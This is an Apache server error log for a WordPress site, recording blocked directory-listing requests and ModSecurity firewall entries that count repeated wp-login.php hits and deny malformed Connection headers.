[Mon Feb 23 20:56:16.934353 2026] [autoindex:error] [pid 25294:tid 25364] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/PHPMailer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:17.056471 2026] [autoindex:error] [pid 25294:tid 25330] [client 45.133.5.161:28423] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:56:48.979162 2026] [autoindex:error] [pid 25380:tid 25383] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/tinymce/plugins/fullscreen/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:06.944468 2026] [autoindex:error] [pid 25380:tid 25395] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:12.548887 2026] [autoindex:error] [pid 25380:tid 25400] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:12.672233 2026] [autoindex:error] [pid 25380:tid 25404] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:18.858084 2026] [autoindex:error] [pid 25380:tid 25389] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:18.993340 2026] [autoindex:error] [pid 25380:tid 25398] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:19.107293 2026] [autoindex:error] [pid 25380:tid 25387] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:19.223888 2026] [autoindex:error] [pid 25380:tid 25392] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:19.337162 2026] [autoindex:error] [pid 25380:tid 25383] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:19.453830 2026] [autoindex:error] [pid 25380:tid 25390] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:19.641489 2026] [autoindex:error] [pid 25380:tid 25384] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:19.753023 2026] [autoindex:error] [pid 25380:tid 25406] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/pomo/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:19.871786 2026] [autoindex:error] [pid 25380:tid 25402] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/rest-api/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:57:44.483939 2026] [autoindex:error] [pid 25380:tid 25403] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/jcrop/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Feb 23 20:58:01.547083 2026] [autoindex:error] [pid 25380:tid 25394] [client 45.133.5.150:34639] AH01276: Cannot serve directory /home/gigfrag/public_html/.tmb/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Feb 24 01:00:10.348231 2026] [:error] [pid 29424:tid 29441] [client 43.159.144.16:38008] [client 43.159.144.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZyHmvgElGDq6B8YX7BQTgAAAM8"]
[Tue Feb 24 02:17:24.315017 2026] [:error] [pid 60063:tid 60069] [client 43.166.237.57:52910] [client 43.166.237.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZyZtE_6t1uQomVVdUN3UAAAAQQ"]
[Tue Feb 24 03:27:43.307501 2026] [:error] [pid 60063:tid 60067] [client 37.140.223.26:23821] [client 37.140.223.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZyqL0_6t1uQomVVdUOiXAAAAQI"]
[Tue Feb 24 04:24:24.852678 2026] [:error] [pid 37539:tid 37591] [client 172.245.102.7:61113] [client 172.245.102.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy3eHEnr46jUQep9z-0mwAAAFA"]
[Tue Feb 24 04:24:24.852682 2026] [:error] [pid 37538:tid 37557] [client 37.140.223.26:51629] [client 37.140.223.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy3eCynTiHZ9J0Y2nZSNAAAAAk"]
[Tue Feb 24 04:32:23.378977 2026] [:error] [pid 37538:tid 37562] [client 172.245.102.5:41155] [client 172.245.102.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.5, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy5VyynTiHZ9J0Y2nZU3wAAAA4"]
[Tue Feb 24 04:32:23.514694 2026] [:error] [pid 37540:tid 37602] [client 37.140.223.1:63911] [client 37.140.223.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy5VyahRAUBJS8hpJVJ1AAAAIA"]
[Tue Feb 24 04:40:29.264159 2026] [:error] [pid 37539:tid 37587] [client 136.144.33.17:38889] [client 136.144.33.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy7PXEnr46jUQep9z-6wQAAAEw"]
[Tue Feb 24 04:40:29.304336 2026] [:error] [pid 37539:tid 37589] [client 193.36.225.117:35579] [client 193.36.225.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy7PXEnr46jUQep9z-6wgAAAE4"]
[Tue Feb 24 04:44:01.343789 2026] [:error] [pid 37644:tid 37654] [client 106.227.49.113:46618] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZy8EULaEhVDwBRydH0kgQAAAMg"]
[Tue Feb 24 04:48:31.038161 2026] [:error] [pid 37540:tid 37610] [client 193.36.225.133:42617] [client 193.36.225.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.133, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy9HyahRAUBJS8hpJVQeQAAAIg"]
[Tue Feb 24 04:48:31.038448 2026] [:error] [pid 37540:tid 37623] [client 37.140.223.21:32255] [client 37.140.223.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy9HyahRAUBJS8hpJVQegAAAJU"]
[Tue Feb 24 04:56:56.303045 2026] [:error] [pid 37539:tid 37582] [client 37.140.223.26:33399] [client 37.140.223.26] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.26, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy_GHEnr46jUQep9z-_BQAAAEc"]
[Tue Feb 24 04:56:56.303009 2026] [:error] [pid 37539:tid 37598] [client 193.36.225.112:59415] [client 193.36.225.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZy_GHEnr46jUQep9z-_BgAAAFc"]
[Tue Feb 24 05:05:15.490016 2026] [:error] [pid 37644:tid 37666] [client 193.36.225.137:57577] [client 193.36.225.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzBC0LaEhVDwBRydH0sngAAANQ"]
[Tue Feb 24 05:05:15.490016 2026] [:error] [pid 37644:tid 37647] [client 193.36.225.134:54505] [client 193.36.225.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzBC0LaEhVDwBRydH0snwAAAME"]
[Tue Feb 24 05:13:44.480474 2026] [:error] [pid 37540:tid 37617] [client 37.140.223.4:37355] [client 37.140.223.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzDCCahRAUBJS8hpJVV1AAAAI8"]
[Tue Feb 24 05:13:44.480474 2026] [:error] [pid 37644:tid 37665] [client 136.144.33.17:60481] [client 136.144.33.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzDCELaEhVDwBRydH0wGAAAANM"]
[Tue Feb 24 05:22:17.533108 2026] [:error] [pid 11672:tid 11694] [client 193.36.225.136:20421] [client 193.36.225.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.136, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzFCfa0fhnmfPYq92uUjAAAARQ"]
[Tue Feb 24 05:22:17.533585 2026] [:error] [pid 37538:tid 37571] [client 37.140.223.4:49539] [client 37.140.223.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzFCSynTiHZ9J0Y2nZeXgAAABc"]
[Tue Feb 24 05:30:45.157673 2026] [:error] [pid 37644:tid 37655] [client 37.140.223.6:65211] [client 37.140.223.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzHBULaEhVDwBRydH06AgAAAMk"]
[Tue Feb 24 05:30:45.157774 2026] [:error] [pid 37644:tid 37658] [client 193.36.225.134:45685] [client 193.36.225.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzHBULaEhVDwBRydH06AwAAAMw"]
[Tue Feb 24 05:39:16.379097 2026] [:error] [pid 37538:tid 37552] [client 37.140.223.12:61611] [client 37.140.223.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.12, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzJBCynTiHZ9J0Y2nZhigAAAAQ"]
[Tue Feb 24 05:39:16.380321 2026] [:error] [pid 37538:tid 37558] [client 193.36.225.137:60647] [client 193.36.225.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzJBCynTiHZ9J0Y2nZhiwAAAAo"]
[Tue Feb 24 05:48:23.417350 2026] [:error] [pid 37540:tid 37623] [client 37.140.223.22:38785] [client 37.140.223.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.22, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzLJyahRAUBJS8hpJVggAAAAJU"]
[Tue Feb 24 05:48:23.417454 2026] [:error] [pid 37539:tid 37589] [client 37.140.223.8:56123] [client 37.140.223.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzLJ3Enr46jUQep9z_J1gAAAE4"]
[Tue Feb 24 05:56:59.265116 2026] [:error] [pid 11672:tid 11692] [client 193.36.225.137:45889] [client 193.36.225.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzNK_a0fhnmfPYq92ujBgAAARI"]
[Tue Feb 24 05:56:59.265206 2026] [:error] [pid 11672:tid 11697] [client 37.140.223.14:60935] [client 37.140.223.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzNK_a0fhnmfPYq92ujBwAAARc"]
[Tue Feb 24 06:05:49.881182 2026] [:error] [pid 37644:tid 37666] [client 193.36.225.248:57557] [client 193.36.225.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.248, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzPPULaEhVDwBRydH1OWgAAANQ"]
[Tue Feb 24 06:05:49.881598 2026] [:error] [pid 11672:tid 11683] [client 37.140.223.13:41841] [client 37.140.223.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzPPfa0fhnmfPYq92um4gAAAQk"]
[Tue Feb 24 06:14:45.435789 2026] [:error] [pid 37539:tid 37591] [client 136.144.33.235:29777] [client 136.144.33.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.235, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzRVXEnr46jUQep9z_QDwAAAFA"]
[Tue Feb 24 06:14:45.450959 2026] [:error] [pid 37539:tid 37596] [client 37.140.223.15:57661] [client 37.140.223.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzRVXEnr46jUQep9z_QEAAAAFU"]
[Tue Feb 24 06:23:44.620597 2026] [:error] [pid 37540:tid 37618] [client 37.140.223.17:50651] [client 37.140.223.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.17, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzTcCahRAUBJS8hpJVqTwAAAJA"]
[Tue Feb 24 06:23:44.625726 2026] [:error] [pid 37540:tid 37615] [client 37.140.223.18:56881] [client 37.140.223.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzTcCahRAUBJS8hpJVqUAAAAI0"]
[Tue Feb 24 06:32:53.138455 2026] [:error] [pid 37644:tid 37648] [client 172.245.102.8:46635] [client 172.245.102.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzVlULaEhVDwBRydH1cyQAAAMI"]
[Tue Feb 24 06:32:53.139692 2026] [:error] [pid 37540:tid 37608] [client 193.36.225.117:47087] [client 193.36.225.117] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.36.225.117, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzVlSahRAUBJS8hpJVs8AAAAIY"]
[Tue Feb 24 06:42:08.078440 2026] [:error] [pid 37539:tid 37579] [client 37.140.223.8:31373] [client 37.140.223.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzXwHEnr46jUQep9z_X3gAAAEQ"]
[Tue Feb 24 06:42:08.078840 2026] [:error] [pid 37644:tid 37647] [client 37.140.223.7:55955] [client 37.140.223.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.7, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzXwELaEhVDwBRydH1iEgAAAME"]
[Tue Feb 24 06:51:13.738266 2026] [:error] [pid 37540:tid 37621] [client 37.140.223.3:36371] [client 37.140.223.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.3, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzZ4SahRAUBJS8hpJVyPgAAAJM"]
[Tue Feb 24 06:51:13.738289 2026] [:error] [pid 37540:tid 37607] [client 37.140.223.6:62039] [client 37.140.223.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.6, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZzZ4SahRAUBJS8hpJVyPQAAAIU"]
